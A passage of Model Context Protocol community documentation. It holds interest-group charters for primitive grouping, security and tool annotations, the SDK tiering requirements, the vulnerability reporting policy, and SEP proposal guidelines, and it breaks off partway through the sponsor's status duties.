The Primitive Grouping Interest Group explores how MCP Primitives (Tools, Resources, Prompts, Tasks) might be organized, beyond the flat lists maintained by the protocol, and how such organization might benefit both MCP servers and clients. The group documents diverse requirements from clients, servers, and gateways, supports reference extensions of varied organization strategies, and feeds recommendations into the [SEP process](/community/sep-guidelines) rather than picking a single canonical pattern early.
## Scope
### In Scope
* **Requirements gathering**: documenting use cases and constraints
* **Pattern exploration**: testing and evaluating various approaches
* **Proof of concepts**: maintaining a shared repository of reference implementations and experimental findings
### Out of Scope
* **Approving spec changes**: this IG does not have authority to approve protocol changes; recommendations flow through the SEP process
* **Implementation mandates**: the group can document patterns but cannot require specific client or server behavior
### Related Groups
* **[Tool Annotations IG](/community/interest-groups/tool-annotations)** - annotation-based filtering and selection of primitives intersects with how primitives are organized and surfaced
* **[Skills Over MCP WG](/community/working-groups/skills-over-mcp)** - the MCP-and-Skills effort is evaluating how capabilities are discovered and organized, which overlaps with grouping
* **[Registry WG](/community/working-groups/registry)** - organizing MCP servers (beyond this group's mandate) is evaluated here
* **[Security IG](/community/interest-groups/security)** - organizing and disclosing primitives by privilege level is a security concern outside this group's scope
## Problem Statement
Flat lists of MCP primitives can be long and cumbersome to work with for several reasons. Many such problems are within the scope of this group, but some are not.
**Within Scope**
* **Context overload** - when loaded into the context of an LLM, a primitive list can overwhelm the model and lead to confusion and poor selection
* **Inefficient operations** - long lists in the context consume many tokens, which increases processing cost and response latency
* **Poor developer experience** - the lack of organizational tools for primitives makes them harder to manage and maintain
**Beyond Scope**
* **Organization for security** - organizing and disclosing primitives to clients based on their privilege level is an important problem but beyond this group's mandate
* **Organizing MCP servers** - the MCP Registry and MCP-and-Skills groups are evaluating how different servers should be organized to improve the client experience
## Goals
1. **Documenting requirements and experiences** - document diverse requirements for the different clients, servers, and gateways that implement these extensions. We will **not** try to find consensus early on, but aim to document the trade-offs based on feedback from real-world experience.
2. **Reference extensions** - many possible organization mechanisms are emerging, and it may be too early to select one canonical pattern. Different servers are implementing similar features, but the lack of standardization limits clients' ability to leverage them effectively. This group will support reference extensions of varied organization strategies, e.g., grouping, tool-search, code-mode.
3. **Evangelizing standards** - invite feedback from developers and maintainers of large MCP servers and clients to migrate away from bespoke implementations toward standardized extensions.
## Organization Strategies
See [Approaches](https://github.com/modelcontextprotocol/experimental-ext-grouping/blob/main/docs/approaches.md) for detailed descriptions of each strategy, including prior art, examples, and discussion links.
## IG Principles
1. **Document discussions** - the IG aims to document the trade-offs and discussions rather than dictate one specific implementation. Prefer GitHub Discussions on the IG repository over prolonged Discord threads. Meeting notes from synchronous IG calls are also uploaded to GitHub Discussions for future reference.
2. **Experimental extensions** - the repository houses experimental extensions for different approaches. Extensions SHOULD support at least Python and TypeScript implementations and include (1) end-to-end working demonstrations and (2) detailed instructions for how others can integrate with them.
3. **Feedback from deployments** - the IG solicits deployment experiences and feedback from users of extensions to prioritize feature development and changes.
## Leadership
| Role | Name | Organization | GitHub | Term |
| ----------- | ----------- | ------------------------ | ---------------------------------------------------- | ------- |
| Facilitator | Tapan Chugh | University of Washington | [@chughtapan](https://github.com/chughtapan) | Initial |
| Facilitator | Sam Morrow | GitHub | [@SamMorrowDrums](https://github.com/SamMorrowDrums) | Initial |
## Membership
| Name | Organization | GitHub | Discord | Level |
| ----------- | ------------------------ | ---------------------------------------------------- | ------- | ----------- |
| Tapan Chugh | University of Washington | [@chughtapan](https://github.com/chughtapan) | | Facilitator |
| Sam Morrow | GitHub | [@SamMorrowDrums](https://github.com/SamMorrowDrums) | | Facilitator |
| Cliff Hall | Futurescale | [@cliffhall](https://github.com/cliffhall) | | Maintainer |
## Operations
| Meeting | Frequency | Duration | Purpose |
| ---------- | --------- | -------- | -------------------------------------------------------------- |
| Discussion | TBD | TBD | Requirements alignment, approach review, experimental findings |
Open to anyone. Join the [#primitive-grouping-ig](https://discord.com/channels/1358869848138059966/1425903819186770064) channel on the [MCP Contributors Discord](/community/communication#discord).
## Discussion Topics
The following items form the IG's current work agenda. This list is not exhaustive and will evolve as the group identifies new areas of interest.
| Item | Status | Champion | Notes |
| ---------------------------------- | ----------- | ---------------- | ----------------------------------------------------------------- |
| Requirements alignment | In Progress | All facilitators | Review approaches, identify common requirements and gaps |
| Experimental findings repo section | Proposed | TBD | Dedicated repo section for implementations and evaluation results |
| MCP Grouping Convention v0.1 | Proposed | TBD | Documented pattern (not spec) for grouping of primitives |
## Lifecycle
**Current Status: Active Exploration**
### Graduation Criteria (IG → WG)
This IG may propose becoming a Working Group if:
* Clear consensus emerges on an approach requiring sustained spec work
* Cross-cutting coordination requires formal authority delegation
* At least two Core Maintainers sponsor WG formation
### Retirement Criteria
* Problem space resolved (conventions established, absorbed into other WGs)
* Insufficient participation to maintain momentum
* Community consensus that grouping doesn't belong in MCP protocol scope
## Success Criteria
* **Short-term**: documented consensus on requirements and evaluation of existing approaches
* **Medium-term**: clear recommendation (convention vs. protocol extension vs. both)
* **Long-term**: interoperable grouping convention across MCP servers and clients
## Resources
* [Experimental repo](https://github.com/modelcontextprotocol/experimental-ext-grouping) - incubation space for the Primitive Grouping Interest Group
## Changelog
| Date | Change |
| ---------- | --------------- |
| 2026-06-18 | Initial charter |
# Security Charter
Source: https://modelcontextprotocol.io/community/interest-groups/security
Charter for the MCP Security Interest Group.
## Group Type
**Interest Group**
## Mission Statement
The Security Interest Group catalogs MCP-specific threats, reviews security-relevant proposals, and
scopes validated problems into focused Working Groups or [SEPs](/community/sep-guidelines).
## Scope
### In Scope
* **Threat modeling**: developing and maintaining a shared, layered view of MCP attack surfaces
spanning admission and identity, caller governance, runtime behavior, interception and enforcement,
and auditability, to give individual proposals a common frame of reference
* **Server identity, attestation, and admission**: requirements for establishing that a server is
what it claims to be before a client dispatches to it, including signed assertions, trust roots,
and the boundary between protocol-level and registry-level verification
* **Supply chain and provenance**: integrity of locally executed server binaries and packages
(typosquatting, unpinned dependencies, unsigned artifacts) and how clients can verify what they
spawn
* **Runtime drift and post-admission change**: treatment of tool, schema, or behavior changes after
a server has been approved, and whether such changes are versioning, re-approval, or security
events
* **Auditability and observability**: requirements for tamper-evident records of what a tool call
did and under what authority, for compliance and incident review
* **Transport-adjacent security**: secrets handling, process isolation, and unauthenticated surface
area for stdio and other non-HTTP transports where the HTTP authorization specification does not
apply
* **Security Best Practices documentation**: authoring and reviewing entries in the
[Security Best Practices](/docs/tutorials/security/security_best_practices) guidance, including
liaising with external bodies such as OWASP GenAI and CoSAI on MCP-specific content
* **Vulnerability disclosure routing**: providing a known point of contact for reporters who have
filed a private security advisory against an MCP repository and need help reaching the right
maintainer
### Out of Scope
* **Authorization protocol mechanics**: OAuth flows, scopes, client registration, and token handling
belong to the [Authorization IG](/community/interest-groups/auth) and its spawned Working Groups
* **Transport wire security**: TLS, mTLS, and certificate handling belong to the Transports WG
* **Tool annotation design**: the annotation model itself belongs to the
[Tool Annotations IG](/community/interest-groups/tool-annotations). This group provides security
requirements as input
* **Registry service operation**: running and securing the hosted Registry service belongs to the
[Registry WG](/community/working-groups/registry). This group provides threat input on provenance and
publishing
* **Product-specific hardening guides**: step-by-step configuration for individual host applications
or cloud platforms is documentation for those products rather than protocol work
* **Competitively sensitive or non-public business information**, per the
[MCP Antitrust Policy](/community/antitrust)
### Related Groups
* **[Authorization IG](/community/interest-groups/auth)**: token confusion, audience mismatch, and SSRF in
metadata discovery sit at the boundary between the two groups
* **[Tool Annotations IG](/community/interest-groups/tool-annotations)**: trust and sensitivity annotations
([SEP-1913](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1913)) span both
groups
* **[Interceptors WG](/community/working-groups/interceptors)**: interceptors are the primary enforcement
point for runtime security decisions surfaced here
* **[Server Card WG](/community/working-groups/server-card) / [Registry WG](/community/working-groups/registry)**:
server identity, provenance, and discovery metadata intersect with admission and supply-chain
concerns
* **Transports WG**: stdio process isolation and unauthenticated method surface
* **SDK Maintainers**: coordinated handling of SDK security advisories and cross-SDK security
defaults
## Leadership
| Role | Name | Organization | GitHub | Term |
| ----------- | -------------- | ------------ | ------------------------------------------ | ------- |
| Facilitator | Den Delimarsky | Anthropic | [@localden](https://github.com/localden) | Initial |
| Facilitator | Paul Carleton | Anthropic | [@pcarleton](https://github.com/pcarleton) | Initial |
## Membership
| Name | Organization | GitHub | Discord | Level |
| ------------------------ | ------------ | ---------------------------------------------------- | ---------------- | ----------- |
| Sam Morrow | GitHub | [@SamMorrowDrums](https://github.com/SamMorrowDrums) | `sammorrowdrums` | Participant |
| Ola Hungerford | Nordstrom | [@olaservo](https://github.com/olaservo) | `olaservo` | Participant |
| Peder Holdgaard Pedersen | Saxo Bank | [@PederHP](https://github.com/PederHP) | `pederhp` | Participant |
| Stefano Ortolani | Broadcom | [@ostefano](https://github.com/ostefano) | `ostefano.` | Participant |
Open to anyone. Join the `#security-ig` channel on the
[MCP Contributors Discord](/community/communication#discord). Calls are open and active
participation is highly encouraged. The group is looking for contributors who will engage with
proposals and help drive work forward rather than observe.
## Operations
| Meeting | Frequency | Duration | Purpose |
| ------------ | ------------- | -------- | ----------------------------------------------------------------------- |
| Office Hours | Every 2 weeks | 45 min | Threat review, proposal triage, deployment reports, WG-proposal scoping |
An agenda is shared in `#security-ig` ahead of each call.
Discord: [#security-ig](https://discord.com/channels/1358869848138059966/1379811011669921883)
Meeting notes are posted to the
[Meeting Notes - Security IG](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-security-ig)
category in GitHub Discussions.
## Discussion Topics
The following items form the IG's current discussion agenda. This list is not exhaustive and will
evolve as the group identifies new areas of interest.
| Item | Name | Status | Champion |
| ---------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- | ----------- | -------------------------------------------------------- |
| [SEP-2809](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2809) | Attested Tool-Server Admission (ATSA) | Draft | [@metereconsulting](https://github.com/metereconsulting) |
| — | SDK vulnerability disclosure | In progress | Facilitators |
| — | Runtime drift: `list_changed` semantics after approval | Open | — |
| — | Supply-chain integrity: protocol, registry, or companion standard | Open | — |
| — | Tool identity across servers | Open | — |
| — | Capability declarations: hints or contracts (joint with [Tool Annotations IG](/community/interest-groups/tool-annotations)) | Open | — |
## Changelog
| Date | Change |
| ---------- | --------------- |
| 2026-06-13 | Initial charter |
# Tool Annotations Charter
Source: https://modelcontextprotocol.io/community/interest-groups/tool-annotations
Charter for the MCP Tool Annotations Interest Group.
## Group Type
**Interest Group**
## Mission Statement
The Tool Annotations Interest Group explores the role of tool annotations in enabling safe, usable agentic systems across the MCP ecosystem. Today, six independent SEPs propose annotation changes, each solving real problems but lacking the coherent, cross-cutting perspective that a dedicated group can bring. The IG gathers use cases from server and client authors, evaluates existing and proposed annotations, and considers the long-term future of the annotation model, including whether runtime annotations, tool response annotations, and other extensions belong in the protocol.
## Scope
### In Scope
* **Evaluation of existing annotations**: Assess whether the current set of tool annotations (`readOnlyHint`, `destructiveHint`, `idempotentHint`, `openWorldHint`) adequately serves server and client authors
* **Discussion of proposed annotations**: Review and provide feedback on SEPs proposing new or modified tool annotations (trust/sensitivity, agency, model preferences, and others)
* **Future of the annotation model**: Explore whether runtime annotations, tool response annotations, or structural changes to the annotation system are worth adding to the protocol
* **Use-case gathering**: Collect real-world use cases from server authors, client authors, and host applications to ground annotation decisions in practical needs
* **Problem statements and recommendations**: Produce recommendations for Working Groups or SEP authors on annotation design, coherence, and prioritization
### Out of Scope
* **Binding specification changes**: The IG produces recommendations, not binding decisions; specification changes are made through the SEP process
* **Implementation work**: Building SDK features or reference implementations (may be explored in the [experimental repo](https://github.com/modelcontextprotocol/experimental-ext-tool-annotations) but is not the IG's primary purpose)
* **Non-annotation tool changes**: Changes to tool discovery, invocation, or lifecycle that do not relate to annotations
* **Resource annotations**: While related, resource-level annotation work is tracked separately unless it directly intersects with tool annotation design
### Related Groups
* **Security IG** - Trust and sensitivity annotations ([SEP-1913](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1913)) span both groups' interests
* **[Skills Over MCP WG](/community/working-groups/skills-over-mcp)** - Skill-level metadata may interact with tool annotations for discovery and filtering
## Leadership
| Role | Name | Organization | GitHub | Term |
| ----------- | -------------- | ------------ | ---------------------------------------------------- | ------- |
| Facilitator | Sam Morrow | GitHub | [@SamMorrowDrums](https://github.com/SamMorrowDrums) | Initial |
| Facilitator | Robert Reichel | OpenAI | [@rreichel3](https://github.com/rreichel3) | Initial |
## Membership
| Name | Organization | GitHub | Discord | Level |
| ----------------------- | ------------ | ---------------------------------------------------- | -------- | ----------- |
| Sam Morrow | GitHub | [@SamMorrowDrums](https://github.com/SamMorrowDrums) | | Facilitator |
| Robert Reichel | OpenAI | [@rreichel3](https://github.com/rreichel3) | | Facilitator |
| Matt Carey | Cloudflare | [@mattzcarey](https://github.com/mattzcarey) | | Participant |
| Kapil Sharma | Microsoft | [@kapil8811](https://github.com/kapil8811) | | Participant |
| Connor Peet | Microsoft | [@connor4312](https://github.com/connor4312) | | Participant |
| Ola Hungerford | Nordstrom | [@olaservo](https://github.com/olaservo) | | Participant |
| Gökhan Arkan | GitHub | [@gokhanarkan](https://github.com/gokhanarkan) | | Participant |
| Joanna Krzek-Lubowiecka | GitHub | [@joannakl](https://github.com/joannakl) | | Participant |
| Maxi Boch | Independent | [@maxiboch](https://github.com/maxiboch) | maxiboch | Participant |
## Operations
| Meeting | Frequency | Duration | Purpose |
| ---------- | --------- | -------- | ---------------------------------------------- |
| Discussion | TBD | TBD | Use-case sharing, annotation review, open Q\&A |
Discord: [#tool-annotations-ig](https://discord.com/channels/1358869848138059966/1482836798517543073)
## Discussion Topics
The following SEPs and themes form the IG's initial discussion agenda. This list is not exhaustive and will evolve as the group identifies new areas of interest.
### Active SEPs Under Discussion
| SEP | Title | Status | Author |
| ---------------------------------------------------------------------------------- | ---------------------------------- | ------ | ------------------------------------------------------------------------------------------------ |
| [SEP-1862](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1862) | Tool Resolution (preflight checks) | Draft | [@SamMorrowDrums](https://github.com/SamMorrowDrums) |
| [SEP-1913](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1913) | Trust and Sensitivity Annotations | Draft | [@SamMorrowDrums](https://github.com/SamMorrowDrums), [@rreichel3](https://github.com/rreichel3) |
| [SEP-1984](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1984) | Comprehensive Tool Annotations | Draft | [@sambhav](https://github.com/sambhav) |
| [SEP-2417](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2417) | Model Preferences for Tools | Draft | [@ProductOfAmerica](https://github.com/ProductOfAmerica) |
### Open Questions
* Should runtime annotations (annotations that change between invocations) be added to the protocol?
* Are additional static annotations worth standardizing, and which serve both server and client authors?
* Should tool *response* annotations be added to the protocol?
* How should annotations interact with trust, security, and human-in-the-loop requirements?
* What is the right level of granularity - a few well-defined hints vs. a richer, extensible vocabulary?
## Resources
* [Tool Annotations as Risk Vocabulary](https://blog.modelcontextprotocol.io/posts/2026-03-16-tool-annotations/) - blog post framing the motivation for this work
* [Experimental repo](https://github.com/modelcontextprotocol/experimental-ext-tool-annotations) - repository for the Tool Annotations Interest Group
## Changelog
| Date | Change |
| ---------- | --------------- |
| 2026-04-20 | Initial charter |
# SDK Tiering System
Source: https://modelcontextprotocol.io/community/sdk-tiers
Feature completeness, protocol support, and maintenance commitment levels for Model Context Protocol SDKs
The MCP SDK Tiering System establishes clear expectations for feature completeness, protocol support, and maintenance commitments across official and community-driven SDKs. This helps developers choose the right SDK for their needs and provides SDK maintainers with a clear path to improving adoption expectations.
**Key dates:**
* **January 23, 2026**: Conformance tests available
* **February 23, 2026**: Official SDK tiering published
Between January 23 and February 23, SDK maintainers can work with the
Conformance Testing working group to adopt the tests and set up GitHub issue
tracking with the standardized labels defined below.
## Overview
SDKs are classified into three tiers based on feature completeness, maintenance commitments, and documentation quality:
* **Tier 1**: Fully supported SDKs with complete protocol implementation, including all
non-experimental features and optional capabilities like sampling and elicitation
* **Tier 2**: Actively-maintained SDKs working toward full protocol specification support
* **Tier 3**: Experimental, partially implemented, or specialized SDKs
Experimental features and protocol extensions (such as Tasks and MCP Apps) are not required
for any tier.
## Tier Requirements
| Requirement | Tier 1: Fully Supported | Tier 2: Commitment to Full Support | Tier 3: Experimental |
| --------------------------- | ---------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ---------------------- |
| **Conformance Tests** | 100% pass rate | 80% pass rate | No minimum |
| **New Protocol Features** | Before new spec version release, timeline agreed per release based on feature complexity | Within 6 months | No timeline commitment |
| **Issue Triage** | Within 2 business days | Within a month | No requirement |
| **Critical Bug Resolution** | Within 7 days | Within two weeks | No requirement |
| **Stable Release** | Required with clear versioning | At least one stable release | Not required |
| **Documentation** | Comprehensive with examples for all features | Basic documentation covering core features | No minimum |
| **Dependency Policy** | Published update policy | Published update policy | Not required |
| **Roadmap** | Published roadmap | Published plan toward Tier 1 or explanation for remaining Tier 2 | Not required |
**Issue Triage** means labeling and determining whether an issue is valid, not resolving the issue.
**Critical Bug** refers to P0 issues (see [Priority labels](#priority-only-if-actionable) for
detailed criteria).
**Stable Release** is a published version explicitly marked as production-ready (e.g., version `1.0.0`
or higher without pre-release identifiers like `-alpha`, `-beta`, or `-rc`).
**Clear Versioning** means following idiomatic versioning patterns with documented
breaking change policies, so users can understand compatibility expectations when upgrading.
**Roadmap** outlines concrete steps and work items that track implementation of required MCP
specification components (non-experimental features and optional capabilities as described in
[Conformance Testing](#conformance-testing)), giving users visibility into upcoming feature support.
## Conformance Testing
All SDKs are evaluated using [automated conformance tests](https://github.com/modelcontextprotocol/conformance)
that validate protocol support against the published specifications. SDKs receive a conformance score
based on test results:
* **Tier 1**: 100% conformance required
* **Tier 2**: 80% conformance required
* **Tier 3**: No minimum requirement
Conformance scores are calculated against **applicable required tests** only:
* Tests for the specification version the SDK targets
* Excluding tests marked as pending or skipped
* Excluding tests for experimental features
* Excluding legacy backward-compatibility tests (unless the SDK claims legacy support)
* Excluding tests labeled `disputed` in the conformance repository, until the dispute is resolved
Conformance testing validates that SDKs correctly implement the protocol by running standardized test
scenarios and checking protocol message exchanges. See [Tier Relegation](#tier-relegation) for how
temporary test failures are handled.
## Tier Advancement
SDK maintainers can request tier advancement by:
1. Self-assessing against tier requirements
2. Opening an issue in the [modelcontextprotocol/modelcontextprotocol](https://github.com/modelcontextprotocol/modelcontextprotocol) repository with supporting evidence
3. Passing automated conformance testing
4. Receiving approval from SDK Working Group maintainers
The SDK Working Group reviews advancement requests and makes final tier assignments.
## Tier Relegation
An SDK may be moved to a lower tier if existing conformance tests on the latest stable release fail
continuously for 4 weeks:
* **Tier 1 → Tier 2**: Any conformance test fails
* **Tier 2 → Tier 3**: More than 20% of conformance tests fail
An SDK may also be relegated if issues remain unaddressed for two months.
## Issue Triage Labels
SDK repositories must use consistent labels to enable automated reporting on issue handling metrics.
Tier calculations use these metrics to measure triage response times (time from issue creation to
first label) and critical bug resolution times (time from P0 label to issue close).
### Type (pick one)
| Label | Description |
| ------------- | ----------------------------- |
| `bug` | Something isn't working |
| `enhancement` | Request for new feature |
| `question` | Further information requested |
Repositories using [GitHub's native issue types](https://docs.github.com/en/issues/tracking-your-work-with-issues/using-issues/managing-issue-types-in-an-organization)
satisfy this requirement without needing type labels.
### Status (pick one)
Use these exact label names across all repositories to enable consistent reporting and analysis.
| Label | Description |
| -------------------- | ------------------------------------------------------- |
| `needs confirmation` | Unclear if still relevant |
| `needs repro` | Insufficient information to reproduce |
| `ready for work` | Has enough information to start |
| `good first issue` | Good for newcomers |
| `help wanted` | Contributions welcome from those familiar with codebase |
### Priority (only if actionable)
| Label | Description |
| ----- | --------------------------------------------------------------- |
| `P0` | Critical: core functionality failures or high-severity security |
| `P1` | Significant bug affecting many users |
| `P2` | Moderate issues, valuable feature requests |
| `P3` | Nice to haves, rare edge cases |
**P0 (Critical)** issues are:
* **Security vulnerabilities** with CVSS score ≥ 7.0 (High or Critical severity)
* **Core functionality failures** that prevent basic MCP operations: connection establishment,
message exchange, or use of core primitives (tools, resources, prompts)
# Security Policy
Source: https://modelcontextprotocol.io/community/security
How to report security vulnerabilities in the Model Context Protocol specification and SDKs, what is in and out of scope, and how SDK maintainers coordinate disclosure.
This page summarizes how security reports are handled across the Model Context Protocol
project. The full policy, including the trust model and the complete list of behaviors that
are intentional and not eligible as vulnerabilities, lives in
[SECURITY.md](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/SECURITY.md)
in the specification repository.
## Reporting a vulnerability
Report security issues through GitHub Security Advisories on the affected repository.
Private vulnerability reporting is enabled on the specification repository and on every
official SDK repository in the [modelcontextprotocol](https://github.com/modelcontextprotocol)
organization.
Do not report security issues through public issues, discussions, or pull requests.
## SDK disclosure and cross-SDK coordination
When a report is filed against an SDK, the maintainers of that SDK assess whether the same
issue affects other official SDKs. Many MCP vulnerabilities stem from shared patterns,
transport implementations, or spec-level behavior that multiple SDKs implement the same
way. The receiving maintainers coordinate with the maintainers of other potentially
affected SDKs to determine which are impacted and to what degree, so that fixes and
advisories can be released together rather than leaving some SDKs exposed after others have
published.
If the root cause is a defect in the specification rather than an implementation bug, the
coordinating maintainers will discuss this with the specification maintainers.
CVEs are assigned through GitHub's CNA as part of the GHSA workflow.
## Scope
The following are considered security vulnerabilities when they arise from flaws in the
specification or official SDKs: protocol-level vulnerabilities, authentication or
authorization bypasses, implementation bugs such as injection or memory-safety issues,
sandbox escapes, session hijacking, token leakage, and cross-tenant access.
The full
[SECURITY.md](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/SECURITY.md)
documents the MCP trust model and a list of intentional behaviors that are not
vulnerabilities. One of the most common is stdio peer attacks, summarized below.
### Stdio transport trust boundary
When using the stdio transport, the client spawns the server as a local subprocess and both
might run with equivalent environment-level privilege. The SDK does not defend either peer
against a malicious counterpart across the stdio channel: a malicious server already has
arbitrary code execution by virtue of being run, and a malicious client already has full
process control over the server it spawned.
Reports whose only impact is that one stdio peer can crash, hang, exhaust resources of, or
otherwise deny service to the other are out of scope and should be filed as regular issues
rather than as a GHSA. If the affected SDK code is reachable via any of the supported
remote transports, or results in a sandbox escape, the report remains in scope. Deployments
that run stdio servers at reduced privilege are responsible for enforcing isolation at that
boundary. The SDK's stdio transport is not a sandbox.
## Security Interest Group
The [Security Interest Group](/community/interest-groups/security) is the venue for
discussing MCP-specific threats, reviewing security-relevant proposals, and routing
disclosure questions that don't fit a single repository.
# SEP Guidelines
Source: https://modelcontextprotocol.io/community/sep-guidelines
Specification Enhancement Proposal (SEP) guidelines for proposing changes to the Model Context Protocol
## What is a SEP?
SEP stands for Specification Enhancement Proposal. A SEP is a design document providing information to the MCP community, or describing a new feature for the Model Context Protocol or its processes. The SEP should provide a concise technical specification of the feature and a rationale for the feature.
SEPs are the primary mechanism for proposing major new features, collecting community input on an issue, and documenting the design decisions that have gone into MCP. The SEP author is responsible for building consensus within the community and documenting dissenting opinions.
When drafting a SEP, authors should review the [MCP design principles](/community/design-principles), which outline the core values and tradeoffs that guide the protocol's evolution.
SEPs are maintained as markdown files in the [`seps/` directory](https://github.com/modelcontextprotocol/modelcontextprotocol/tree/main/seps) of the specification repository. Their revision history serves as the historical record of the feature proposal.
## When to Write a SEP
The SEP process is reserved for changes that are substantial enough to require broad community discussion, a formal design document, and a historical record. A regular GitHub pull request is often more appropriate for smaller changes.
**Write a SEP if your change involves:**
* **A new feature or protocol change** - Adding, modifying, or removing features in the protocol (new API methods, message format changes, interoperability standards)
* **A breaking change** - Any change that is not backwards-compatible
* **A governance or process change** - Altering decision-making or contribution guidelines
* **A complex or controversial topic** - Changes likely to have multiple valid solutions or generate significant debate
**Skip the SEP process for:**
* Bug fixes and typo corrections
* Documentation clarifications
* Adding examples to existing features
* Minor schema fixes that don't change behavior
Not sure? Ask in [Discord](/community/communication#discord) before starting significant work.
## SEP Types
There are four kinds of SEP:
1. **Standards Track** - Describes a new feature or implementation for the Model Context Protocol, or an interoperability standard supported outside the core specification.
2. **Informational** - Describes a design issue or provides guidelines/information to the community without proposing a new feature.
3. **Process** - Describes a process surrounding MCP or proposes a change to a process (like this document).
4. **Extensions Track** - Describes a protocol extension. Follows the same review and acceptance process as Standards Track SEPs, but indicates that the proposal is for an extension rather than a protocol addition. See [Creating Extensions](/extensions/overview#creating-extensions) for the extension lifecycle.
## SEP Workflow
```mermaid theme={null}
flowchart TD
Idea["Idea"]
AwaitingSponsor{"Awaiting Sponsor (up to 6 months)"}
Draft["Draft"]
Dormant["Dormant (no sponsor)"]
Withdrawn["Withdrawn (by author)"]
InReview["In-Review"]
Decision{"Core Maintainers decide"}
Accepted["Accepted"]
Rejected["Rejected"]
Final["Final"]
Idea -->|"Submit PR with SEP file"| AwaitingSponsor
AwaitingSponsor --> Draft
AwaitingSponsor --> Dormant
AwaitingSponsor --> Withdrawn
Draft -->|"Sponsor reviews"| InReview
InReview --> Decision
Decision --> Accepted
Decision --> Rejected
Accepted -->|"Reference implementation + conformance test complete"| Final
```
### Step-by-Step Process
To improve your chances of a SEP being accepted:
* **Discuss your idea with the relevant [working or interest group](/community/working-interest-groups) in [Discord](/community/communication#discord) first.** This is the single best way to refine your proposal and build early support.
* **If no relevant group exists, start a conversation in [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions) or the `#general` channel in [Discord](/community/communication#discord).** If there is enough interest, it may be worth [creating a new IG or WG](/community/working-interest-groups#creating-an-interest-group) — the effort involved in finding sponsors and facilitators is a good signal of whether the idea has sufficient traction, and is still preferable to a cold submission.
* **Check alignment with [Core Maintainer](/community/governance#roles) priorities and [design principles](/community/design-principles).** Priorities are generally reflected in the [project roadmap](/development/roadmap). Proposals outside current priorities or that conflict with design principles are more likely to face delays or additional friction in the review process.
1. **Draft your SEP** as a markdown file named `0000-your-feature-title.md`, using `0000` as a placeholder. Follow the [SEP format](#sep-format) below.
2. **Create a pull request** adding your SEP file to the `seps/` directory in the [specification repository](https://github.com/modelcontextprotocol/modelcontextprotocol).
3. **Update the SEP number**: Once your PR is created, rename the file using the PR number (e.g., PR #1850 becomes `1850-your-feature-title.md`) and update the SEP header.
4. **Find a Sponsor**: Tag a Core Maintainer or Maintainer from [the maintainer list](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md). Choose someone whose area relates to your proposal. Tips:
* Tag 1-2 relevant maintainers, not everyone
* Share your PR in the relevant Discord channel
* If no response after 2 weeks, ask in `#general`
5. **Sponsor assigns themselves**: When a sponsor agrees, they assign themselves to the PR and update the SEP status to `draft`.
6. **Informal review**: The sponsor reviews the proposal and may request changes. Discussion happens in PR comments.
7. **Formal review**: When ready, the sponsor updates the status to `in-review`. The SEP enters formal review by Core Maintainers (meetings every two weeks).
8. **Resolution**: The SEP may be `accepted`, `rejected`, or returned for revision. The sponsor updates the status.
9. **Finalization**: Once accepted, the reference implementation must be completed. For Standards Track SEPs with observable protocol behavior, a [conformance test](#conformance-test-requirement) must also be merged. When complete and incorporated into the specification, the sponsor updates the status to `final`.
### SEP Statuses
| Status | Meaning |
| ------------ | ------------------------------------------------ |
| `draft` | Has a sponsor, undergoing informal review |
| `in-review` | Ready for formal Core Maintainer review |
| `accepted` | Approved, awaiting implementation + conformance |
| `rejected` | Declined by Core Maintainers |
| `withdrawn` | Author withdrew the proposal |
| `final` | Complete with implementation and conformance |
| `superseded` | Replaced by a newer SEP |
| `dormant` | No sponsor found within 6 months; can be revived |
**Important distinction**: `dormant` is not the same as `rejected`. A dormant SEP simply didn't find a sponsor - the idea may still be valid. If circumstances change (new community interest, new use cases), a dormant SEP can be revived by finding a sponsor and reopening the PR.
## SEP Format
Each SEP should have the following parts:
### 1. Preamble
A short descriptive title, author names/contact info, current status, SEP type, and PR number.
### 2. Abstract
A short (\~200 word) description of the technical issue being addressed.
### 3. Motivation
Why the existing protocol specification is inadequate. This is critical - SEPs without sufficient motivation may be rejected outright.
### 4. Specification
The technical specification describing syntax and semantics of the new feature. Must be detailed enough for competing, interoperable implementations.
### 5. Rationale
Why particular design decisions were made, alternate designs considered, and related work. Should provide evidence of community consensus and address objections raised during discussion.
### 6. Backward Compatibility
All SEPs introducing backward incompatibilities must describe these incompatibilities, their severity, and how to deal with them.
### 7. Reference Implementation
Must be completed before the SEP reaches "Final" status, but need not be complete before acceptance.
### 8. Security Implications
Any security concerns related to the SEP should be explicitly documented.
See the [SEP template](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/seps/README.md#sep-file-structure) for the complete file structure.
## Prototype Requirements
Before a SEP can be accepted, you need "a prototype implementation demonstrating the proposal." Here's what qualifies:
**Acceptable prototypes:**
* A working implementation in one of the official SDKs (as a branch/fork)
* A standalone proof-of-concept demonstrating the key mechanics
* Integration tests showing the proposed behavior
* A reference server or client implementing the feature
**The prototype should:**
* Demonstrate the core functionality works as described
* Show the API design is practical and ergonomic
* Reveal any edge cases or implementation challenges
* Be runnable by reviewers (include setup instructions)
**Not sufficient:**
* Pseudocode alone
* A design document without code
* "Trust me, it works" - reviewers need to see it
The prototype doesn't need to be production-ready. It exists to prove feasibility and surface issues early.
## The Sponsor Role
A Sponsor is a Core Maintainer or Maintainer who champions the SEP through the review process. The sponsor's responsibilities include:
* Reviewing the proposal and providing constructive feedback
* Requesting changes based on community input
* **Updating the SEP status** as the proposal progresses
* Initiating formal review when the SEP is ready
* Presenting and discussing the proposal at Core Maintainer meetings
* Ensuring the proposal meets quality standards
Authors should request status changes through their sponsor rather than modifying the status field themselves.
## Status Management
**The Sponsor is responsible for updating the SEP status.** This ensures status transitions are made by someone with the authority and context to do so appropriately.
The sponsor:
